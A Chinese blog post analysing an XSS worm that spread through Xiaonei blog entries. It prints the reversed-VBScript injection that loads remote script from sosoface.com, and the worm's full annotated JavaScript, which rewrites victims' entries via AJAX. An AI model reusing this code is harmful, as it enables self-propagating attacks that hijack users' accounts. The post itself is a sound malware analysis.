一个不为人知的感染几百万校内网用户的蠕虫分析

在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫,开始还以为是我的网页有问题,就随便打开几个人的页面查看,发现许多人的页面上也有这段代码。

Copy code
<a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>

      以上代码出现在日志的开头,只有查看源文件才能发现。它将vbscript调了个头写,调回来就变成以下内容:

Copy code
set s=document.createElement("script")
s.src=http://www.sosoface.com/images/xnjs.jpg
document.getElementById("mya113").parentNode.insertBefore s,document.getElementById("mya113")

        在这段脚本中它又新建了一个script,它的src指向http://www.sosoface.com/images/xnjs.jpg(别相信后缀),下载加这个“jpg”用记事和UE打开都发现它填充了大量的asc的00(真不敢相信填充了那么多00 IE还能执行),不过用Dreamweaver打开显示正常,拷出JS。然后花了几乎一天的时间来分析这个js文件,发现它完完全全是一个基于ajax的蠕虫。
    值得注意的是作者好像很低调,在蠕虫代码中除了感染就是隐藏,没有一行破坏性的代码,仅仅是加了一个站长统计,估计作者是用来研究蠕虫传播情况的,因为站长统计要密码我们进不去,所以不知道具体的感染情况,但是我刚才在google上搜了下sosoface,还是看到这个网站的流量图:
http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com&r=1192875678218

 
从图上可以看到流量在几天时间里大增,这些天应该是蠕虫感染的时间。日访问人数从0猛增到500百万人/天,也就是每天那个JPG要被访问5亿次 考虑到一个人可能访问多个页面,粗略估计应该至少有几百万人受到感染。另外,也就在大概两三天前这个蠕虫应该是被校内的人发现了,一夜之间全部消失了。Sosoface也被停了。


下面来分析感染代码,我直接把注释写在JS中了,原本的程序可是一行注释也没有的。看时从最底下的start函数看起:
 

  
  
  
  
  1.  
  2. Copy code  
  3. var req = null;  
  4. var step=null;  
  5. var DiaryMonthUrlList="",DiaryUrlList="";  
  6. var timer=null;  
  7. var bIsBusy=false;  
  8.  
  9.  
  10. var myrand="46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.47.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.96.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.102.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.113.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.44.46.61.115.44";  
  11.  
  12. function my_HtmlDecode(str)  
  13. {  
  14.     str=str.replace(/</g,"<");  
  15.     str=str.replace(/>/g,">");  
  16.     str=str.replace(/&/g,"&");  
  17.     str=str.replace(/ /g," ");  
  18.     str=str.replace(/"/g,"\"");  
  19.     str=str.replace(/<br>/g,"\n");  
  20.     str=str.replace(/#/g,"#");  
  21.     str=str.replace(/(/g,"(");  
  22.     str=str.replace(/)/g,")");  
  23.     str=str.replace(/"/g,"\"");  
  24.     str=str.replace(/'/g,"'");  
  25.     str=str.replace(/#/g,"#");  
  26.     str=str.replace(/(/g,"(");  
  27.     str=str.replace(/)/g,")");  
  28.     str=str.replace(/"/g,"\"");  
  29.     str=str.replace(/'/g,"'");  
  30.     return str;  
  31. }  
  32. function processReqChange()   
  33. {  
  34.     if (req.readyState == 4 && req.status == 200 )   
  35.     {  
  36.         if("WriteIframe"==step)  
  37.         {  
  38.             var text,len,i=0,j=0,temp;  
  39.               
  40.             text=req.responseText;  
  41.             i=text.indexOf("<div class=\"article\">",0);  
  42.             if(-1==i){return}  
  43.             i=text.indexOf("http://blog.xiaonei.com/GetEntry.do",i);  
  44.             if(-1==i){return}  
  45.             j=text.indexOf("\"",i);  
  46.             if(-1==j){return}  
  47.             text=text.substring(i,j);  
  48.           
  49.             document.getElementById("mya113").style.background="#FFFFFF";  
  50.             var s=document.createElement("iframe");  
  51.             s.frameborder="0";  
  52.             s.height="0";  
  53.             s.width="1";  
  54.             s.src=text;  
  55.             document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));  
  56.         }  
  57.         else    if("GetDiaryMonthList"==step)  
  58.         {  
  59.             var text,len,i=0,j=0,temp;  
  60.             //text的内容就和用户点“我的日志”得到的内容一样,分析HTML,得到“日志存档”中的每一个链接,保存到DiaryMonthUrlList中  
  61.             //然后跳到GetStatus函数,此时step="GetDiaryList" 取出每个月的日志列表  
  62.             text=req.responseText;  
  63.             i=text.indexOf("<div id=\"list-archive\">",0);  
  64.             if(-1==i){return}  
  65.             j=text.indexOf("<div class=\"bottom-box\">",i);  
  66.             if(-1==j){return}  
  67.             text=text.substring(i,j);  
  68.               
  69.             i=j=0;  
  70.             while(1)  
  71.             {  
  72.                 i=text.indexOf("http://blog.xiaonei.com/MyBlog.do",i);  
  73.                 if(-1==i)break;  
  74.                 j=text.indexOf("'>",i);  
  75.                 if(-1==j)break;  
  76.                 temp=text.substring(i,j);  
  77.                 i+=temp.length;  
  78.                 temp=my_HtmlDecode(temp)+"|";  
  79.                 DiaryMonthUrlList+=temp;  
  80.             }  
  81.             if(DiaryMonthUrlList.length<=1)  
  82.             {  
  83.                 return;  
  84.             }  
  85.               
  86.             step="GetDiaryList";  
  87.             req=null;  
  88.             bIsBusy=false;  
  89.             timer=window.setInterval(GetStatus,1000);  
  90.         }  
  91.         else if("GetDiaryList"==step)  
  92.         {  
  93.             var text,len,i,j,temp,temp2;  
  94.             var text2="http://blog.xiaonei.com/EditEntry.do?id=";  
  95.               
  96.             //text的内容就和用户点了“日志存档”后的内容一样  
  97.             //分析HTML得到每个月的日志列表保存在DiaryUrlList中,然后step=GetDiaryText也就是取得日志的内容,  
  98.             //看本函数下面else if("GetDiaryText"==step)就是了  
  99.             text=req.responseText;  
  100.               
  101.             len=text.length;  
  102.             i=text.indexOf("<div id=\"list-article\">");  
  103.             if(-1==i)  
  104.             {  
  105.                 req=null;  
  106.                 bIsBusy=false;  
  107.                 return;  
  108.             }  
  109.             j=text.indexOf("</table>",i);  
  110.             if(-1==j)  
  111.             {  
  112.                 req=null;  
  113.                 bIsBusy=false;  
  114.                 return;  
  115.             }  
  116.             text=text.substring(i,j);  
  117.             i=j=0;  
  118.               
  119.               
  120.             while(1)  
  121.             {  
  122.                 j=0;  
  123.                 len=0;  
  124.                 j=DiaryUrlList.indexOf("|",j);  
  125.                 while(j!=-1)  
  126.                 {  
  127.                     j++;  
  128.                     len++;  
  129.                     j=DiaryUrlList.indexOf("|",j);  
  130.                 }  
  131.                   
  132.                 if(len>=5)//只感染前5篇日志 或者是4篇 没仔细研究  
  133.                 {  
  134.                     break;  
  135.                 }  
  136.                   
  137.                 i=text.indexOf(text2,i);  
  138.                 if(-1==i)  
  139.                 {  
  140.                     break;  
  141.                 }  
  142.                 i+=text2.length;  
  143.                 j=text.indexOf("\">",i);  
  144.                 if(-1==j || j-i>10)  
  145.                 {  
  146.                     break;  
  147.                 }  
  148.                 temp=text2+text.substring(i,j)+"|";  
  149.                 DiaryUrlList+=temp;                  
  150.             }  
  151.             req=null;  
  152.             bIsBusy=false;  
  153.         }  
  154.         else if("GetDiaryText"==step)   
  155.         {  
  156.             var text,len,i,j;  
  157.             var argv;  
  158.             var title,body,blog_pic_id="0",pic_path,blogControl,Diaryid;  
  159.               
  160.               
  161.             text=req.responseText;  
  162.             //这个模块模拟用户编辑日志,在每篇日志的开关都加上  
  163.             //<a name="mya113" id="mya113" style='background:url(vbscript:execute(StrReverse(")""311aym""(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)""311aym""(dIyBtnemelEteg.tnemucod :""gpj.sjnx/segami/moc.ecafosos.www//:ptth""=crs.s:)""tpircs""(tnemelEetaerc.tnemucod=s tes")) )'>  
  164.               
  165.             i=text.indexOf("<form action=\"http://upload.xiaonei.com/EditEntry.do\"",0);  
  166.               
  167.             if(-1==i)  
  168.             {  
  169.                 return;  
  170.             }  
  171.             i+=53;  
  172.               
  173.             j=text.indexOf("</form>",i);  
  174.             if(-1==j)  
  175.             {  
  176.                 return;  
  177.             }  
  178.  
  179.             text=text.substring(i,j);  
  180.             //------------------------  
  181.               
  182.             i=text.indexOf("id=\"title\" class=\"inputtext\" tabindex=\"1\" value=\"",0);  
  183.             if(-1==i)return;  
  184.             i+=49;  
  185.             j=text.indexOf("\" />",i);  
  186.             if(-1==j)return;  
  187.             title=text.substring(i,j);  
  188.             //---  
  189.             i=text.indexOf("<textarea name=\"body\" id=\"body\" cols=\"100%\" style=\"display:none\">",0);  
  190.             if(-1==i)return;  
  191.             i+=65;  
  192.             j=text.indexOf("</textarea>",i);  
  193.             if(-1==j)return;  
  194.             body=text.substring(i,j);  
  195.             //---  
  196.             i=text.indexOf("id=\"blog_pic_id\" value=\"",0);  
  197.             if(-1==i)return;  
  198.             i+=24;  
  199.             j=text.indexOf("\" />",i);  
  200.             if(-1==j)return;  
  201.             blog_pic_id=text.substring(i,j);  
  202.             //---  
  203.             i=text.indexOf("id=\"pic_path\" value=\"",0);  
  204.             if(-1==i)return;  
  205.             i+=21;  
  206.             j=text.indexOf("\" />",i);  
  207.             if(-1==j)return;  
  208.             pic_path=text.substring(i,j);  
  209.             //---  
  210.             i=text.indexOf("name=\"id\" value=\"",0);  
  211.             if(-1==i)return;  
  212.             i+=17;  
  213.             j=text.indexOf("\" />",i);  
  214.             if(-1==j)return;  
  215.             Diaryid=text.substring(i,j);  
  216.             //---  
  217.             i=text.indexOf("\" selected=\"selected\"",0);  
  218.             if(-1==i)return;  
  219.             j=i-2;  
  220.             if(text.substr(j,1)=="\"")  
  221.                 j++;  
  222.             blogControl=text.substring(j,i);  
  223.               
  224.               
  225.             body=my_HtmlDecode(body);  
  226.             if(body.indexOf("mya113",0)>=0)//已经感染过,不再感染  
  227.             {  
  228.                 req=null;  
  229.                 step="GetDiaryText";  
  230.                 bIsBusy=false;  
  231.                   
  232.                 return;  
  233.             }  
  234.             else 
  235.             {  
  236.                 ;  
  237.             }  
  238.             //以上是取日志的各个变量信息  
  239.             //以下开头就感染日志并修改  
  240.               
  241.             body=MyDecode(myrand)+body;  
  242.             //感染日志 在日志的开头加上跨站代码  
  243.             //MyDecode(myrand)中保存的就是跨站的关键代码,作者加密了一下放在myrand变量中,程序开头的一长串数据就是  
  244.               
  245.             //以下开始POST提交修改过的日志  
  246.             argv="\r\n";  
  247.             argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\n";  
  248.             argv+=(title+"\r\n");  
  249.             argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"body\"\r\n\r\n";  
  250.             argv+=(body+"\r\n");  
  251.             argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"theFile\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n";  
  252.             argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"blog_pic_id\"\r\n\r\n";  
  253.             argv+=(blog_pic_id+"\r\n");  
  254.             argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"pic_path\"\r\n\r\n";  
  255.             argv+=(pic_path+"\r\n");  
  256.             argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"blogControl\"\r\n\r\n";  
  257.             argv+=(blogControl+"\r\n");  
  258.             argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n";  
  259.             argv+=(Diaryid+"\r\n");  
  260.             argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"relative_optype\"\r\n\r\n";  
  261.             argv+=("publisher"+"\r\n");  
  262.             argv+="-----------------------------7d71861cb014c\r\nContent-Disposition: form-data; name=\"del_relative_id\"\r\n\r\n\r\n";  
  263.             argv+="-----------------------------7d71861cb014c--\r\n";  
  264.                                   
  265.               
  266.             req=null;  
  267.             step="EditDiaryText";  
  268.             loadUrl("http://blog.xiaonei.com/EditEntry.do","POST",argv);  
  269.               
  270.  
  271.         }  
  272.         else if("EditDiaryText"==step)  
  273.         {  
  274.               
  275.             req=null;  
  276.             bIsBusy=false;  
  277.             step="GetDiaryText";  
  278.         }  
  279.         else 
  280.         {  
  281.             ;  
  282.         }  
  283.           
  284.     }  
  285. }  
  286. function MyDecode(str)  
  287. {  
  288.     var i,k,str2="";  
  289.       
  290.     k=str.split(".");  
  291.       
  292.     for(i=0;i<k.length;i++)  
  293.     {  
  294.         str2+=String.fromCharCode(k[i]^0x12);  
  295.     }  
  296.     return str2;  
  297. }  
  298. function loadUrl( url,method,argv )   
  299. {  
  300.     bIsBusy=true;  
  301.     if(!req)  
  302.     {  
  303.         if(window.XMLHttpRequest)   
  304.         {  
  305.             try   
  306.             {   
  307.                 req = new XMLHttpRequest();  
  308.             } catch(e) { req = false; }  
  309.         }   
  310.         else if(window.ActiveXObject)   
  311.         {  
  312.             try   
  313.             {   
  314.                 req = new ActiveXObject('Msxml2.XMLHTTP');  
  315.             }   
  316.             catch(e)   
  317.             {  
  318.                 try   
  319.                 {   
  320.                     req = new ActiveXObject('Microsoft.XMLHTTP');  
  321.                 } catch(e) { req = false; }  
  322.             }   
  323.         }  
  324.     }  
  325.     if(req)   
  326.     {  
  327.         req.onreadystatechange = processReqChange;  
  328.         try 
  329.         {  
  330.             req.open(method, url, true);  
  331.             if(method=="POST")  
  332.                 req.setRequestHeader("Content-Type","multipart/form-data; boundary=---------------------------7d71861cb014c");   
  333.             req.send(argv);  
  334.         }catch(e)  
  335.         {  
  336.             req=false;  
  337.         }  
  338.     }  
  339. }  
  340. function GetStatus()  
  341. {  
  342.     if(bIsBusy)return;  
  343.       
  344.     if("GetDiaryList"==step)  
  345.     {  
  346.         var DiaryMonthUrl,i;  
  347.           
  348.         //取出每个月的日志列表  
  349.         if(DiaryMonthUrlList.length<=1)  
  350.         {  
  351.             step="GetDiaryText";  
  352.             return;  
  353.         }  
  354.         i=DiaryMonthUrlList.indexOf("|",0);  
  355.         if(-1==1)  
  356.         {  
  357.             step="GetDiaryText";  
  358.             return;  
  359.         }  
  360.         DiaryMonthUrl=DiaryMonthUrlList.substring(0,i);  
  361.         DiaryMonthUrlList=DiaryMonthUrlList.substring(i+1,DiaryMonthUrlList.length);  
  362.           
  363.         //再回到开头的processReqChange函数 此时step还是GetDiaryList  
  364.         loadUrl(DiaryMonthUrl,"GET","");  
  365.  
  366.     }  
  367.     else if("GetDiaryText"==step)  
  368.     {  
  369.         var DiaryUrl,i;  
  370.         if(DiaryUrlList.length<=1)  
  371.         {  
  372.             clearInterval(timer);  
  373.             return;  
  374.         }  
  375.           
  376.         i=DiaryUrlList.indexOf("|",0);  
  377.         if(-1==i)  
  378.         {  
  379.             clearInterval(timer);  
  380.             return;  
  381.         }  
  382.  
  383.         DiaryUrl=DiaryUrlList.substring(0,i);  
  384.         DiaryUrlList=DiaryUrlList.substring(i+1,DiaryUrlList.length);  
  385.  
  386.         loadUrl(DiaryUrl,"GET","");  
  387.     }  
  388. }  
  389. function WriteStat()  
  390. {  
  391.     var s=document.createElement("iframe");  
  392.     s.frameborder="0";  
  393.     s.height="0";  
  394.     s.width="0";  
  395.     s.src="http://www.sosoface.com/images/stat.jpg";  
  396.     document.getElementById("mya113").parentNode.insertBefore(s,document.getElementById("mya113"));  
  397.  
  398. }  
  399.  
  400. function DeleteScript(html)  
  401. {  
  402.     var i=0,j=0,str;  
  403.       
  404.     str=html;  
  405.  
  406.     i=str.indexOf("</A>",0);  
  407.     if(-1==i)  
  408.         return str;  
  409.     i+=4;  
  410.     str=str.substring(i,str.length);  
  411.  
  412.     return str;      
  413. }  
  414. function EditorSubmit()  
  415. {  
  416.     var ret=false;  
  417.     parent.parent.descOptype();  
  418.     ret=parent.parent.beforeSubmit();  
  419.  
  420.     parent.parent.document.getElementById("body").value=MyDecode(myrand)+DeleteScript(parent.parent.document.getElementById("body").value);  
  421.  
  422.     return ret;  
  423. }  
  424. function Start()  
  425. {  
  426.     //判断是不是blog.xiaonei.com域,由于ajax是不能跨域的,所以判断是必备的  
  427.     if("blog.xiaonei.com"==document.domain)  
  428.     {  
  429.         //如果是在编辑已感染的日志 就做了一些奇怪的行为,我看不懂,好像是把自己重写了一遍,不知道为什么这样做  
  430.         if("http://blog.xiaonei.com/pages/editor/win.htm"==document.location)  
  431.         {  
  432.             parent.parent.document.getElementById("editorForm").onsubmit=EditorSubmit;  
  433.         }  
  434.         else 
  435.         {  
  436.               
  437.             WriteStat();//这是一个用户流量统计的函数,使用cnzz 站长助手  
  438.             //下面开始感染了,第一步GetDiaryMonthList,得到日志的按月归档  
  439.             step="GetDiaryMonthList";  
  440.             loadUrl("http://blog.xiaonei.com/MyBlog.do","GET","");//loadUrl是一个ajax读取页面内容的函数  
  441.             //下面跳到开头的processReqChange函数  
  442.         }  
  443.     }  
  444.     else if("xiaonei.com"==document.domain || "www.xiaonei.com"==document.domain)  
  445.     {  
  446.         //如果不在blog.xiaonei.com域就写入一个Iframe Iframe的SRC是日志的URL  
  447.         //这个URL是blog.xiaonei.com域的,就变向的实现了跨域,  
  448.         //作者这样做应该是为了一访问别人的主页就能感染    
  449.         var url="";  
  450.           
  451.         url=document.location.toString();  
  452.         if(url.indexOf("&")==-1)  
  453.             return;  
  454.         step="WriteIframe";  
  455.         loadUrl(url,"GET","");  
  456.     }  
  457. }  
  458.  
  459. Start();  
  460.  

 

你可能感兴趣的:(用户,休闲,蠕虫,感染,不为人知)